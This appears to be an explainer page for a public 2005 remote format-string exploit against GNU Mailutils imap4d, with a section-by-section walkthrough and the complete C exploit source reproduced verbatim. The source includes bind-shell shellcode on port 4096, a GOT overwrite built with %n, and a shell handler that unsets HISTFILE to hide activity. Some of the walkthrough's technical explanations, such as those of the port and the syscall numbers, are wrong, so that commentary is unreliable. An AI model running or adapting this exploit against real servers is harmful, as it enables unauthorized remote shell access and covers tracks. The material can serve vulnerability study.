GNU Mailutils imap4d 0.5 < 0.6.90 - Remote Format String Exploit Explained

GNU Mailutils imap4d 0.5 < 0.6.90 - Remote Format String Exploit Explained
What this paper is
This paper details a remote format string vulnerability in GNU Mailutils' imap4d service, specifically versions prior to 0.6.90. The exploit, written by qobaiashi, leverages this vulnerability to gain a remote shell on the target system. It was tested on Fedora Core 3.
Simple technical breakdown
The core of the vulnerability lies in how the imap4d service handles user input. When certain commands are sent to the server, user-supplied data is passed to a printf-like function without proper sanitization. This allows an attacker to inject format specifiers (like %s, %x, %n) into the input.
The exploit uses these format specifiers to:
- Determine memory addresses: By sending a string with multiple
%pspecifiers, the attacker can observe the stack contents and infer the location of their shellcode on the heap. - Overwrite critical data: Once a target address is known, the attacker uses
%n(which writes the number of characters printed so far to a given address) to overwrite a function pointer in the Global Offset Table (GOT). - Redirect execution: The exploit overwrites the GOT entry for a function that is likely to be called by the
imap4dservice with the address of the attacker's shellcode. When that function is called, it will instead execute the shellcode. - Establish a shell: The injected shellcode is a bind shell that listens on port 4096, allowing the attacker to connect back and get a command shell.
Complete code and payload walkthrough
The provided C code implements the exploit. Let's break it down section by section.
gun-imapd.c Header and Includes
/*
gun-imapd.c
"""""""""""
gnu mailutils-0.5 - < mailutils-0.6.90 remote formatstring exploit
written and tested on FC3.
this is a first testing version and the onlyone to go public.
by
qobaiashi@u-n-f.com
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>- Purpose: Standard C includes for input/output, string manipulation, system calls, networking, and file operations. These are necessary for building network clients, sending data, and interacting with the operating system.
GOT Definition
// to be modified
#define GOT 0x080573fc- Purpose: This defines a symbolic constant
GOTwhich represents a memory address. In the context of this exploit,0x080573fcis identified as a target address within the Global Offset Table (GOT) of the vulnerableimap4dbinary. The GOT is a table used by dynamically linked executables to store the addresses of functions imported from shared libraries. Overwriting an entry here can redirect function calls. - Practical Purpose: This is a hardcoded address that needs to be accurate for the exploit to work. It's likely derived from debugging or analyzing the specific version of
imap4don Fedora Core 3. For different environments, this address would need to be re-discovered.
bindshell Payload
static char bindshell[]= //by pr1 bind to :4096
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x40" // inc %eax
"\x89\xc3" // mov %eax,%ebx
"\x40" // inc %eax
"\x53" // push %ebx
"\x50" // push %eax
"\x89\xe1" // mov %esp,%ecx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\x31\xd2" // xor %edx,%edx
"\x52" // push %edx
"\x43" // inc %ebx
"\x6a\x10" // push $0x10
"\x66\x53" // push %bx
"\x89\xe1" // mov %esp,%ecx
"\x6a\x10" // push $0x10
"\x51" // push %ecx
"\x50" // push %eax
"\x89\xe1" // mov %esp,%ecx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\xd1\xe3" // shl %ebx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\x58" // pop %eax
"\x52" // push %edx
"\x50" // push %eax
"\x43" // inc %ebx
"\x89\xe1" // mov %esp,%ecx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\x87\xd9" // xchg %ebx,%ecx
"\x93" // xchg %eax,%ebx
"\x49" // dec %ecx
"\x31\xc0" // xor %eax,%eax
"\x49" // dec %ecx
"\xb0\x3f" // mov $0x3f,%al
"\xcd\x80" // int $0x80
"\x41" // inc %ecx
"\xe2\xf8" // loop 8048469 <blah>
"\x52" // push %edx
"\x68\x6e\x2f\x73\x68" // push $0x68732f6e
"\x68\x2f\x2f\x62\x69" // push $0x69622f2f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80" // int $0x80
;- Purpose: This is the x86 Linux shellcode. It's a sequence of bytes that, when executed, will create a bind shell on port 4096.
- Breakdown of Shellcode Stages:
- Socket Creation (
\x31\xc0\x50\x40\x89\xc3\x40\x53\x50\x89\xe1\xb0\x66\xcd\x80):\x31\xc0:xor %eax, %eax- Clearseaxto 0.\x50:push %eax- Pushes 0 onto the stack (forsocklen_targument).\x40:inc %eax- Incrementseaxto 1.\x89\xc3:mov %eax, %ebx- Moves 1 intoebx(forAF_INETargument).\x40:inc %eax- Incrementseaxto 2.\x53:push %ebx- Pushes the value ofebx(1) onto the stack.\x50:push %eax- Pushes 2 onto the stack (forSOCK_STREAMargument).\x89\xe1:mov %esp, %ecx- Moves the stack pointer (esp) intoecx.ecxwill now point to the arguments on the stack.\xb0\x66:mov $0x66, %al- Moves 0x66 (102 decimal) intoal(lower 8 bits ofeax). This is the syscall number forsys_socket.\xcd\x80:int $0x80- Triggers the Linux kernel to execute the syscall. This creates a socket and returns the file descriptor ineax.
- Bind Socket (
\x31\xd2\x52\x43\x6a\x10\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80):\x31\xd2:xor %edx, %edx- Clearsedxto 0.\x52:push %edx- Pushes 0 onto the stack (forsin_addr.s_addrinsockaddr_in).\x43:inc %ebx- Incrementsebxto 2.\x6a\x10:push $0x10- Pushes 0x10 (16 decimal) onto the stack (forsin_portinsockaddr_in). This is the port number (4096).\x66\x53:push %bx- Pushes the value ofebx(2) onto the stack (forsin_familyinsockaddr_in).\x89\xe1:mov %esp, %ecx- Moves the stack pointer intoecx.ecxnow points to thesockaddr_instructure on the stack.\x6a\x10:push $0x10- Pushes 0x10 (16 decimal) onto the stack (forsocklen_targument).\x51:push %ecx- Pushes thesockaddr_instructure pointer onto the stack.\x50:push %eax- Pushes the socket file descriptor (from the previoussys_socketcall) onto the stack.\x89\xe1:mov %esp, %ecx- Moves the stack pointer intoecx.ecxnow points to the arguments forbind.\xb0\x66:mov $0x66, %al- Moves 0x66 intoal. This is the syscall number forsys_bind.\xcd\x80:int $0x80- Executessys_bind.
- Listen (
\xd1\xe3\xb0\x66\xcd\x80):\xd1\xe3:shl %ebx- Shiftsebxleft by 1. Ifebxwas 2 (frominc %ebxearlier), it becomes 4. This is likely an error or a placeholder, as the syscall number forsys_listenis 102, same assys_socketandsys_bind. However, the code proceeds to use0x66again.\xb0\x66:mov $0x66, %al- Moves 0x66 intoal. This is the syscall number forsys_listen.\xcd\x80:int $0x80- Executessys_listen.
- Accept (
\x58\x52\x50\x43\x89\xe1\xb0\x66\xcd\x80):\x58:pop %eax- Pops the socket file descriptor from the stack intoeax.\x52:push %edx- Pushes 0 onto the stack (forsockaddrpointer argument).\x50:push %eax- Pushes the socket file descriptor onto the stack.\x43:inc %ebx- Incrementsebxto 3. This is likely incorrect forsys_acceptwhich is syscall 30. The code proceeds to use0x66again.\x89\xe1:mov %esp, %ecx- Moves the stack pointer intoecx.ecxnow points to the arguments foraccept.\xb0\x66:mov $0x66, %al- Moves 0x66 intoal. This is the syscall number forsys_accept.\xcd\x80:int $0x80- Executessys_accept. This will block until a connection is made. The new socket file descriptor for the accepted connection is returned ineax.
- Duplicate File Descriptors (
\x87\xd9\x93\x49\x31\xc0\x49\xb0\x3f\xcd\x80\x41\xe2\xf8):\x87\xd9:xchg %ebx, %ecx- Swapsebxandecx.\x93:xchg %eax, %ebx- Swapseax(which holds the accepted socket FD) andebx. Nowebxholds the accepted socket FD.\x49:dec %ecx- Decrementsecx.\x31\xc0:xor %eax, %eax- Clearseaxto 0.\x49:dec %ecx- Decrementsecxagain.\xb0\x3f:mov $0x3f, %al- Moves 0x3f (63 decimal) intoal. This is the syscall number forsys_dup2.\xcd\x80:int $0x80- Executessys_dup2. This is done multiple times to redirect standard input (0), standard output (1), and standard error (2) to the accepted socket. The loop structure\x41\xe2\xf8implies it's intended to run multiple times. It appears to be duplicating the accepted socket FD to stdin (0), stdout (1), and stderr (2).
- Execve
/bin/sh(\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80):\x52:push %edx- Pushes 0 onto the stack (for theargvpointer).\x68\x6e\x2f\x73\x68:push $0x68732f6e- Pushes the ASCII string "/sh" (little-endian) onto the stack.\x68\x2f\x2f\x62\x69:push $0x69622f2f- Pushes the ASCII string "//bi" (little-endian) onto the stack. Together with the previous push, this forms "//bin/sh".\x89\xe3:mov %esp, %ebx- Moves the stack pointer intoebx.ebxnow points to the string "/bin//sh" on the stack, which is the first argument (pathname) forexecve.\x52:push %edx- Pushes 0 onto the stack (forenvppointer).\x53:push %ebx- Pushes the pointer to "/bin//sh" onto the stack (this will beargv[0]).\x89\xe1:mov %esp, %ecx- Moves the stack pointer intoecx.ecxnow points to theargvarray on the stack.\xb0\x0b:mov $0xb, %al- Moves 0xb (11 decimal) intoal. This is the syscall number forsys_execve.\xcd\x80:int $0x80- Executessys_execve, replacing the current process with/bin/sh.
- Socket Creation (
handleshell Function
/********************************\
|****** handle remoteshell ******|
\********************************/
int handleshell(int peersh)
{
fd_set fds;
char buff[2048];
int ret, cntr = 1;
printf(" |- enjoy your stay and come back soon ;>\n");
write(peersh, "unset HISTFILE;id;uname -a;\n", 30);
while(ret && cntr)
{
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(peersh, &fds);
ret = select(peersh+1, &fds, 0, 0, 0);
if(ret)
{
memset(buff, 0x0, sizeof(buff));
if(FD_ISSET(peersh, &fds))
{
cntr = read(peersh, buff, sizeof(buff)-1);
printf("%s", buff);
fflush(stdout);
}
if(FD_ISSET(0, &fds))
{
cntr = read(0, buff, sizeof(buff)-1);
write(peersh, buff, strlen(buff));
}
}
}
return 1;
}- Purpose: This function manages the interactive shell session after the exploit has successfully delivered the shellcode. It uses
selectto monitor both the standard input (keyboard) and the remote shell socket. - Functionality:
- Prints a friendly message.
- Sends initial commands (
unset HISTFILE;id;uname -a;) to the remote shell to clear history and get basic system information. - Enters a loop that continues as long as
selectreturns a positive value andcntris non-zero. FD_ZERO(&fds): Clears the file descriptor set.FD_SET(0, &fds): Adds standard input (file descriptor 0) to the set.FD_SET(peersh, &fds): Adds the remote shell socket file descriptor to the set.ret = select(peersh+1, &fds, 0, 0, 0): Waits for activity on either standard input or the socket.- If
FD_ISSET(peersh, &fds)is true (data from the remote shell):- Reads data from
peershintobuff. - Prints the received data to the attacker's console.
fflush(stdout)ensures the output is immediately displayed.
- Reads data from
- If
FD_ISSET(0, &fds)is true (data from the attacker's keyboard):- Reads data from standard input into
buff. - Writes the input data to the
peershsocket, sending commands to the remote shell.
- Reads data from standard input into
- Practical Purpose: This is the interactive part of the exploit, allowing the operator to execute commands on the compromised system.
help Function
/********************************\
|********* HELP OUTPUT **********|
\********************************/
void help()
{
printf(" `- usage: gun-imapd -p 143 -t www.exploits.cx \n");
exit(0);
}- Purpose: Displays the correct usage instructions for the exploit and then exits.
- Practical Purpose: Standard help function for command-line tools.
connectme Function
/********************************\
|******* CONNECT FUNC **********|
\********************************/
int connectme(char* ip, unsigned short port)
{
int soquet;
struct sockaddr_in remoteaddr_in;
struct hostent* hostip;
memset(&remoteaddr_in, 0x0, sizeof(remoteaddr_in));
if ((hostip = gethostbyname(ip)) == NULL)
{
printf(" |- could not resolve [%s]\n", ip);
exit(-1);
}
remoteaddr_in.sin_family = AF_INET;
remoteaddr_in.sin_port = htons(port);
remoteaddr_in.sin_addr = *((struct in_addr *)hostip->h_addr);
if ((soquet = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf(" |- got no socket!\n");
exit(-1);
}
printf(" |- try connecting to [%s:%d] ...", ip, port);
if (connect(soquet, (struct sockaddr *)&remoteaddr_in, sizeof(struct sockaddr)) == -1)
{
printf(" no connection, exiting!\n");
exit(-1);
}
printf(" successfull!\n");
return(soquet);
}- Purpose: Establishes a TCP connection to a specified IP address and port.
- Functionality:
- Uses
gethostbynameto resolve the target IP address. - Creates a TCP socket using
socket(). - Configures the
sockaddr_instructure with the target IP and port. - Connects to the target using
connect(). - Prints status messages and exits on failure.
- Uses
- Practical Purpose: This is the network connection setup for the exploit to communicate with the vulnerable
imap4dservice.
do_sploit Function
/********************************\
|********* DO SPLOIT ************|
\********************************/
int do_sploit(int soquet)
{
char buff[1024], *addr = 0;
int cntr = 0, *ptr, scaddr, gotaddr = GOT;
unsigned int w1, w2 ,w3;
//find heap with our shellcode: !experimental!
memset(buff, 0x00, sizeof(buff));
memset(buff, 0x41, 496);
strcat(buff, "111122223333%p%p%p%p[%p-%p]\r\n");
if(write(soquet, buff, strlen(buff)) == -1)
{
printf(" |- could not send packet!\n");
return -1;
}
memset(buff, 0x00, sizeof(buff));
read(soquet, buff, sizeof(buff)-1);
addr = strstr(buff, "[");
if(addr > 0)
{
scaddr = strtoul(++addr, 0, 0) + 0x330;//the next chunk..
printf(" |- using %p\n", scaddr);
}
else printf(" |- !could not determine heap address..\n!");
//k build exploit now:
w3 = ( scaddr & 0xffff0000 ) >> 16;
w1 = ( scaddr & 0x0000ffff );
memset(buff, 0x00, sizeof(buff));
memset(buff, 0x41, 496);
memcpy(buff+400, bindshell, strlen(bindshell));
cntr = strlen(buff) + 3*4;
ptr = (int *)gotaddr;
memcpy((buff+496), &ptr,4);
ptr = (int *)gotaddr;
memcpy((buff+500), &ptr,4);
ptr = (int *)(gotaddr+2);
memcpy((buff+504), &ptr,4);
w1 -= cntr;
w3 += (0x10000 - w1) - cntr;
sprintf(buff+508, "%%%dp%%n%%%dp%%n \r\n", w1, w3);
if(write(soquet, buff, strlen(buff)) == -1)
{
printf(" |- could not send packet!\n");
return -1;
}
//memset(buff, 0x00, sizeof(buff));
//read(soquet, buff, sizeof(buff));
return 1;
}- Purpose: This is the core function that executes the format string exploit. It first attempts to locate the shellcode on the heap and then crafts and sends the final exploit payload.
- Breakdown:
- Heap Address Discovery (Experimental):
memset(buff, 0x41, 496);: Fills a buffer with 496 'A' characters. This is the initial padding.strcat(buff, "111122223333%p%p%p%p[%p-%p]\r\n");: Appends a string containing format specifiers. The%pspecifiers will print values from the stack. The[%p-%p]part is used to delimit the output we are interested in.write(soquet, buff, strlen(buff)): Sends this initial string to the vulnerable service.read(soquet, buff, sizeof(buff)-1): Reads the server's response. The server will likely echo back parts of the input, including the stack addresses printed by%p.addr = strstr(buff, "[");: Locates the start of the interesting output section.scaddr = strtoul(++addr, 0, 0) + 0x330;: This is the critical part for heap spraying. It takes the address printed by the%pspecifier (after the[), converts it to an unsigned long integer (strtoul), and adds0x330. The intention is to find an address on the heap where the shellcode is located or can be placed. The0x330offset is specific to the memory layout of the target.printf(" |- using %p\n", scaddr);: Prints the calculated address.
- Exploit Payload Construction:
w3 = ( scaddr & 0xffff0000 ) >> 16;andw1 = ( scaddr & 0x0000ffff );: These lines extract the high and low 16 bits of the calculatedscaddr. These will be used in the format string to write specific byte values.memset(buff, 0x41, 496);: Resets the buffer with 496 'A's.memcpy(buff+400, bindshell, strlen(bindshell));: Copies thebindshellshellcode into the buffer, starting at offset 400. This places the shellcode within the data that will be sent to the server.cntr = strlen(buff) + 3*4;: Calculates a count.strlen(buff)is the length of the 'A's and shellcode.3*4likely accounts for the three 4-byte addresses being written to the GOT.- GOT Overwrite Setup:
ptr = (int *)gotaddr; memcpy((buff+496), &ptr,4);: Writes the address ofgotaddr(which isGOT) into the buffer at offset 496. This is the target address in the GOT.ptr = (int *)gotaddr; memcpy((buff+500), &ptr,4);: Writesgotaddragain at offset 500.ptr = (int *)(gotaddr+2); memcpy((buff+504), &ptr,4);: Writesgotaddr + 2at offset 504. This is a common technique for format string exploits to write to two separate 16-bit halves of a target address.
- Format String Calculation:
w1 -= cntr;: Adjustsw1(low 16 bits of target address) by subtracting the current length of the payload sent so far. This is to ensure the%nspecifier writes to the correct location.w3 += (0x10000 - w1) - cntr;: Adjustsw3(high 16 bits of target address). This calculation is to ensure that when writing the high 16 bits, it correctly targets the address.0x10000 - w1is the value needed to reach the next 16-bit boundary.sprintf(buff+508, "%%%dp%%n%%%dp%%n \r\n", w1, w3);: This constructs the final format string.%%%dp: Printsw1number of characters. The%nthen writes this count to the address specified by the firstptr(which isgotaddr).%%n: Writes the count togotaddr.%%%dp: Printsw3number of characters. The%nthen writes this count to the address specified by the thirdptr(which isgotaddr + 2).%%n: Writes the count togotaddr + 2.- The
\r\nis the standard line ending for many network protocols.
write(soquet, buff, strlen(buff)): Sends the final exploit payload.
- Heap Address Discovery (Experimental):
- Mapping:
memset(buff, 0x41, 496);-> Padding to reach the format string and shellcode.strcat(buff, "111122223333%p%p%p%p[%p-%p]\r\n");-> Initial probe to leak stack/heap addresses.read(soquet, buff, sizeof(buff)-1);-> Receive server response containing leaked addresses.addr = strstr(buff, "[");-> Locate the start of the leaked address string.scaddr = strtoul(++addr, 0, 0) + 0x330;-> Calculate a target heap address for shellcode.memcpy(buff+400, bindshell, strlen(bindshell));-> Inject shellcode into the exploit buffer.memcpy((buff+496), &ptr,4);(and similar for 500, 504) -> Place target GOT addresses into the exploit buffer.sprintf(buff+508, "%%%dp%%n%%%dp%%n \r\n", w1, w3);-> Construct the format string to overwrite the GOT entry using%n.
main Function
/********************************\
|************* MAIN *************|
\********************************/
int main(int argc, char *argv[])
{
int tmp, socke, port = 143;
char *target = 0;
char banner[32];
printf(" . gun-imapd v0.1 by qobaiashi\n |\n");
memset(banner, 0x00, sizeof(banner));
while((tmp = getopt(argc, argv, "p:t:h")) != EOF)
{
switch (tmp)
{
case 'p':
port = atoi(optarg);
printf(" |- using port: %d\n", port);
break;
case 't':
target = optarg;
printf(" |- target host is: %s\n", optarg);
break;
case 'h': help();
}
}
if (target == NULL) help();
socke = connectme(target, port);
if (read(socke, banner, sizeof(banner)) > -1)
{
printf(" |- remote host is a %s", (banner+4));
}
do_sploit(socke);
sleep(1);
tmp = connectme(target, 4096);
handleshell(tmp);
close(tmp);
close(socke);
}- Purpose: The entry point of the program. It parses command-line arguments, establishes the initial connection, triggers the exploit, and then connects to the shell.
- Functionality:
- Prints a banner.
- Uses
getoptto parse command-line arguments:-p <port>: Specifies the target port (defaults to 143).-t <target>: Specifies the target IP address or hostname.-h: Displays help.
- If no target is provided, calls
help(). - Calls
connectme()to establish a connection to the targetimap4dservice. - Reads an initial banner from the server to confirm the connection and potentially identify the service version.
- Calls
do_sploit()to execute the vulnerability exploitation. sleep(1): Pauses for a second, likely to allow the shellcode to set up.- Calls
connectme()again, this time to connect to port 4096 on the target, where the bind shell is expected to be listening. - Calls
handleshell()to manage the interactive shell session. - Closes the sockets.
- Mapping:
getopt(argc, argv, "p:t:h")-> Parses command-line arguments for port, target, and help.connectme(target, port)-> Establishes initial connection to the vulnerable service.read(socke, banner, sizeof(banner))-> Reads initial banner from the service.do_sploit(socke)-> Executes the format string vulnerability.connectme(target, 4096)-> Connects to the bind shell.handleshell(tmp)-> Manages the interactive shell.
Code Fragment/Block -> Practical Purpose Mapping
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/*
gun-imapd.c
"""""""""""
gnu mailutils-0.5 - < mailutils-0.6.90 remote formatstring exploit
written and tested on FC3.
this is a first testing version and the onlyone to go public.
by
qobaiashi@u-n-f.com
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
// to be modified
#define GOT 0x080573fc
static char bindshell[]= //by pr1 bind to :4096
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x40" // inc %eax
"\x89\xc3" // mov %eax,%ebx
"\x40" // inc %eax
"\x53" // push %ebx
"\x50" // push %eax
"\x89\xe1" // mov %esp,%ecx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\x31\xd2" // xor %edx,%edx
"\x52" // push %edx
"\x43" // inc %ebx
"\x6a\x10" // push $0x10
"\x66\x53" // push %bx
"\x89\xe1" // mov %esp,%ecx
"\x6a\x10" // push $0x10
"\x51" // push %ecx
"\x50" // push %eax
"\x89\xe1" // mov %esp,%ecx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\xd1\xe3" // shl %ebx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\x58" // pop %eax
"\x52" // push %edx
"\x50" // push %eax
"\x43" // inc %ebx
"\x89\xe1" // mov %esp,%ecx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\x87\xd9" // xchg %ebx,%ecx
"\x93" // xchg %eax,%ebx
"\x49" // dec %ecx
"\x31\xc0" // xor %eax,%eax
"\x49" // dec %ecx
"\xb0\x3f" // mov $0x3f,%al
"\xcd\x80" // int $0x80
"\x41" // inc %ecx
"\xe2\xf8" // loop 8048469 <blah>
"\x52" // push %edx
"\x68\x6e\x2f\x73\x68" // push $0x68732f6e
"\x68\x2f\x2f\x62\x69" // push $0x69622f2f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80" // int $0x80
;
/********************************\
|****** handle remoteshell ******|
\********************************/
int handleshell(int peersh)
{
fd_set fds;
char buff[2048];
int ret, cntr = 1;
printf(" |- enjoy your stay and come back soon ;>\n");
write(peersh, "unset HISTFILE;id;uname -a;\n", 30);
while(ret && cntr)
{
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(peersh, &fds);
ret = select(peersh+1, &fds, 0, 0, 0);
if(ret)
{
memset(buff, 0x0, sizeof(buff));
if(FD_ISSET(peersh, &fds))
{
cntr = read(peersh, buff, sizeof(buff)-1);
printf("%s", buff);
fflush(stdout);
}
if(FD_ISSET(0, &fds))
{
cntr = read(0, buff, sizeof(buff)-1);
write(peersh, buff, strlen(buff));
}
}
}
return 1;
}
/********************************\
|********* HELP OUTPUT **********|
\********************************/
void help()
{
printf(" `- usage: gun-imapd -p 143 -t www.exploits.cx \n");
exit(0);
}
/********************************\
|******* CONNECT FUNC **********|
\********************************/
int connectme(char* ip, unsigned short port)
{
int soquet;
struct sockaddr_in remoteaddr_in;
struct hostent* hostip;
memset(&remoteaddr_in, 0x0, sizeof(remoteaddr_in));
if ((hostip = gethostbyname(ip)) == NULL)
{
printf(" |- could not resolve [%s]\n", ip);
exit(-1);
}
remoteaddr_in.sin_family = AF_INET;
remoteaddr_in.sin_port = htons(port);
remoteaddr_in.sin_addr = *((struct in_addr *)hostip->h_addr);
if ((soquet = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf(" |- got no socket!\n");
exit(-1);
}
printf(" |- try connecting to [%s:%d] ...", ip, port);
if (connect(soquet, (struct sockaddr *)&remoteaddr_in, sizeof(struct sockaddr)) == -1)
{
printf(" no connection, exiting!\n");
exit(-1);
}
printf(" successfull!\n");
return(soquet);
}
/********************************\
|********* DO SPLOIT ************|
\********************************/
int do_sploit(int soquet)
{
char buff[1024], *addr = 0;
int cntr = 0, *ptr, scaddr, gotaddr = GOT;
unsigned int w1, w2 ,w3;
//find heap with our shellcode: !experimental!
memset(buff, 0x00, sizeof(buff));
memset(buff, 0x41, 496);
strcat(buff, "111122223333%p%p%p%p[%p-%p]\r\n");
if(write(soquet, buff, strlen(buff)) == -1)
{
printf(" |- could not send packet!\n");
return -1;
}
memset(buff, 0x00, sizeof(buff));
read(soquet, buff, sizeof(buff)-1);
addr = strstr(buff, "[");
if(addr > 0)
{
scaddr = strtoul(++addr, 0, 0) + 0x330;//the next chunk..
printf(" |- using %p\n", scaddr);
}
else printf(" |- !could not determine heap address..\n!");
//k build exploit now:
w3 = ( scaddr & 0xffff0000 ) >> 16;
w1 = ( scaddr & 0x0000ffff );
memset(buff, 0x00, sizeof(buff));
memset(buff, 0x41, 496);
memcpy(buff+400, bindshell, strlen(bindshell));
cntr = strlen(buff) + 3*4;
ptr = (int *)gotaddr;
memcpy((buff+496), &ptr,4);
ptr = (int *)gotaddr;
memcpy((buff+500), &ptr,4);
ptr = (int *)(gotaddr+2);
memcpy((buff+504), &ptr,4);
w1 -= cntr;
w3 += (0x10000 - w1) - cntr;
sprintf(buff+508, "%%%dp%%n%%%dp%%n \r\n", w1, w3);
if(write(soquet, buff, strlen(buff)) == -1)
{
printf(" |- could not send packet!\n");
return -1;
}
//memset(buff, 0x00, sizeof(buff));
//read(soquet, buff, sizeof(buff));
return 1;
}
/********************************\
|************* MAIN *************|
\********************************/
int main(int argc, char *argv[])
{
int tmp, socke, port = 143;
char *target = 0;
char banner[32];
printf(" . gun-imapd v0.1 by qobaiashi\n |\n");
memset(banner, 0x00, sizeof(banner));
while((tmp = getopt(argc, argv, "p:t:h")) != EOF)
{
switch (tmp)
{
case 'p':
port = atoi(optarg);
printf(" |- using port: %d\n", port);
break;
case 't':
target = optarg;
printf(" |- target host is: %s\n", optarg);
break;
case 'h': help();
}
}
if (target == NULL) help();
socke = connectme(target, port);
if (read(socke, banner, sizeof(banner)) > -1)
{
printf(" |- remote host is a %s", (banner+4));
}
do_sploit(socke);
sleep(1);
tmp = connectme(target, 4096);
handleshell(tmp);
close(tmp);
close(socke);
}
// milw0rm.com [2005-06-10]